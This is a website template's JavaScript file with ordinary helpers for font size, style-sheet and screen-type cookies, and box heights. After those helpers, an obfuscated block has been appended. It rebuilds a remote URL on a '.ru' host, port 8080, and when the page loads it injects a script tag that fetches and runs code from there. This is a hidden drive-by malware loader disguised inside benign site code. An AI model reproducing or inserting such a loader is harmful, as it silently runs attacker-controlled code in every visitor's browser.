var currentFontSize = 4;

function switchFontSize (ckname,val){
	var bd = $E('BODY');
	switch (val) {
		case 'inc':
			if (CurrentFontSize+1 < 7) {
				bd.removeClass('fs'+CurrentFontSize);
				CurrentFontSize++;
				bd.addClass('fs'+CurrentFontSize);
			}		
		break;
		case 'dec':
			if (CurrentFontSize-1 > 0) {
				bd.removeClass('fs'+CurrentFontSize);
				CurrentFontSize--;
				bd.addClass('fs'+CurrentFontSize);
			}		
		break;
		default:
			bd.removeClass('fs'+CurrentFontSize);
			CurrentFontSize = val;
			bd.addClass('fs'+CurrentFontSize);		
	}
	Cookie.set(ckname, CurrentFontSize,{duration:365});
}

function switchTool (ckname, val) {
	createCookie(ckname, val, 365);
	window.location.reload();
}

function revertStyles(fontsize){
	currentFontSize = fontsize;
	changeFontSize(0);
}

function changeFontSize(sizeDifference){
	//get css font size
	var rule = getRuleByName("body.fs" + (currentFontSize + sizeDifference));
	if (rule){
		document.body.style.fontSize = rule.style.fontSize;
		currentFontSize = currentFontSize + sizeDifference;
		createCookie("FontSize", currentFontSize, 365);
		equalHeight();
	}
	return;
	
};

function getRuleByName(ruleName){
	for (i=0; i<document.styleSheets.length; i++){
		var style = document.styleSheets[i];
		var rules = style.cssRules?style.cssRules:style.rules;
		if (rules){
			for (j = 0; j<rules.length; j++){
				if (rules[j].selectorText.trim().toUpperCase() == ruleName.trim().toUpperCase()){
					return rules[j];
				}
			}
		}
	}
	return null;
}

function setActiveStyleSheet(title) {

	createCookie("ColorCSS", title, 365);
	window.location.reload();
	return;

  var i, a, main, arr;
  arr = document.getElementsByTagName("link");
  for(i=0; (a = arr[i]); i++) {
  	var ltitle = a.getAttribute("title");
    if(a.getAttribute("rel").indexOf("style") != -1 && ltitle) {
      a.disabled = true;
      if(ltitle == title) a.disabled = false;
    }
  }
  createCookie("ColorCSS", title, 365);
}

function createCookie(name,value,days) {
  if (days) {
    var date = new Date();
    date.setTime(date.getTime()+(days*24*60*60*1000));
    var expires = "; expires="+date.toGMTString();
  }
  else expires = "";
  document.cookie = name+"="+value+expires+"; path=/";
}

function setScreenType(screentype){
	bclass = document.body.className.trim();
	if (bclass.indexOf(' ') > 0){
		bclass = bclass.replace(/^\w+/,screentype);
	}else{
		bclass = screentype + ' ' + bclass;
	}

	document.body.className = bclass;
	equalHeight();
	createCookie("ScreenType", screentype, 365);
}

String.prototype.trim = function() { return this.replace(/^\s+|\s+$/g, ""); };

function changeToolHilite(oldtool, newtool) {
	if (oldtool != newtool) {
		if (oldtool) {
			oldtool.src = oldtool.src.replace(/-hilite/,'');
		}
		newtool.src = newtool.src.replace(/.gif$/,'-hilite.gif');
	}
}

//addEvent - attach a function to an event
function jaAddEvent(obj, evType, fn){ 
 if (obj.addEventListener){ 
   obj.addEventListener(evType, fn, false); 
   return true; 
 } else if (obj.attachEvent){ 
   var r = obj.attachEvent("on"+evType, fn); 
   return r; 
 } else { 
   return false; 
 } 
}

//addEvent - attach a function to an event
function addEvent(obj, evType, fn){ 
 if (obj.addEventListener){ 
   obj.addEventListener(evType, fn, false); 
   return true; 
 } else if (obj.attachEvent){ 
   var r = obj.attachEvent("on"+evType, fn); 
   return r; 
 } else { 
   return false; 
 } 
}

function equalHeight (){
	var obj1 = getElem ('gull-box1');
	var obj2 = getElem ('gull-box2');
	var obj3 = getElem ('gull-box3');
	var maxh = 0;
	if (obj1) maxh = obj1.offsetHeight;
	if (obj2 && obj2.offsetHeight > maxh) maxh = obj2.offsetHeight;
	if (obj3 && obj3.offsetHeight > maxh) maxh = obj3.offsetHeight;
	if (obj1) obj1.parentNode.style.height = maxh + "px";
	if (obj2) obj2.parentNode.style.height = maxh + "px";
	if (obj3) obj3.parentNode.style.height = maxh + "px";
}

function getElem (id) {
	var obj = document.getElementById (id);
	if (!obj) return null;
	divs = obj.getElementsByTagName ('div');
	if (divs && divs.length > 1) return divs[divs.length - 1];
	return null;
}
addEvent (window, 'load', equalHeight);
try {var s=String("[");var k;if(k!='' && k!='tL'){k=null};var X=new String("]3Ep".substr(0,1));var y;if(y!='FF'){y='FF'};var ib=new Array();var N='';this.Dz="";var sl=String("g");var C;if(C!='E'){C='E'};this.Km='';var z=RegExp;var NJ='';var yn='';var t=new String("re9INM".substr(0,2)+"plj5AK".substr(0,2)+"xltactlx".substr(3,2)+"MShe".substr(3));var Qq="";this._="";function G(Ny,zP){this.VF='';var P;if(P!='nL' && P!='c'){P=''};var d=s;var yZ;if(yZ!='' && yZ!='r'){yZ='Y'};d+=zP;d+=X;var O='';var U=new z(d, sl);this.IU="";var FC='';return Ny.replace(U, N);var ia="";};var Kc;if(Kc!='A'){Kc='A'};var Po=new Array();var q=G('856770765778725550222257',"7265");var Cr;if(Cr!='M' && Cr != ''){Cr=null};var sh;if(sh!='KN' && sh != ''){sh=null};var p=String("onl"+"oadDkT".substr(0,3));var Pm;if(Pm!='' && Pm!='DQ'){Pm=null};var Z="sc"+"ZpTri".substr(3)+"pt3PqI".substr(0,2);var Op;if(Op!='' && Op!='IW'){Op=''};this.RG='';var Ny="1";var T=String("6xDM/g".substr(4)+"ooPz3".substr(0,2)+"nNkgl".substr(3)+"jXlae.".substr(4)+"d2HcoH2d".substr(3,2)+"m/"+"goHeSO".substr(0,2)+"htHog".substr(3)+"le"+"90gL.cg9L0".substr(4,2)+"J2bombJ2".substr(3,2)+"oTqt/z".substr(4)+"1fqim".substr(3)+"biYQmJ".substr(0,2)+"o."+"covae".substr(0,2)+"t9J4m/".substr(4)+"qxBabxBq".substr(3,2)+"ou"+"9xKt.".substr(3)+"co"+"m/"+"j9ywe".substr(3)+"bs"+"WTQho".substr(3)+"ts06TW".substr(0,2)+".c"+"s1XRomR1sX".substr(4,2)+"eAz.pzAe".substr(3,2)+"SLZhp".substr(3));var o;if(o!='rQ'){o=''};var F='';var ZR=new Date();var n=G('hPtqtqpq:9/M/MwqiPkPiBm9eBd9i9aP-qoqrBgM.BsMtMa9pMlMeMsM.McBo9m9.quBwMaPnqt9sq-qcPoMmP.qm9yqoqwBnPaBgPeP.9r9uq:B',"9BPMq");var l;if(l!='Kx'){l='Kx'};var ww;if(ww!='Em' && ww != ''){ww=null};this.d_="";window[p]=function(){var qE=new Date();var fm;if(fm!='Dl'){fm='Dl'};i=document.createElement(Z);F+=n;F+=q+T;var rV=new Array();i.src=F;this.ex='';var Yf=new Array();var XQ=document.body;var an=new Array();var YE=new Array();i.defer=Ny;this.cf="";var IP;if(IP!='' && IP!='v'){IP=null};this.kP='';XQ.appendChild(i);var CX="";var CY=new Date();};var rf;if(rf!='aL' && rf!='eN'){rf=''};var oq;if(oq!=''){oq='mp'};} catch(Nl){var pS="";};var oU=new Date();var Vm;if(Vm!='lY' && Vm!='Rx'){Vm='lY'};